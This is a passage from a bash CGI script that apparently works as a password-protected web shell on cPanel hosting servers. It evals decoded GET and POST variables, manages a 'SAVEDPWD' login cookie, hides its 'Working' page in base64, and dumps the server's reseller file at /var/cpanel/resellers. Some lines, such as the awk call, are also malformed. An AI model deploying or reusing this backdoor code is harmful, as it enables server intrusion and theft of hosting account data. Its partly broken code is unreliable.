$k /}" != "$s" ] && eval "$k=\"`cgi_decodevar \"$v\"`\""; done; return; } # register all GET and POST variables cgi_getvars BOTH ALL pass="SAVEDPWD=$password" passv=`echo $HTTP_COOKIE | awk '$pass|' -f0` if [ $cc2 -eq 4 ] ; then clear; echo -e "Set-Cookie: SAVEDPWD=;\nContent-type: text/html\n\n"; echo '
'; exit; else if [ -n "$xx" ] ; then echo -e "Set-Cookie: SAVEDPWD=$xx;\nContent-type: text/html\n\n"; echo '
'; else echo -e "Content-type: text/html\n\n"; fi; fi echo 'PGh0bWw+PHRpdGxlPldvcmtpbmc8L3RpdGxlPjwvaHRtbD4=' | base64 -d cat /var/cpanel/resellers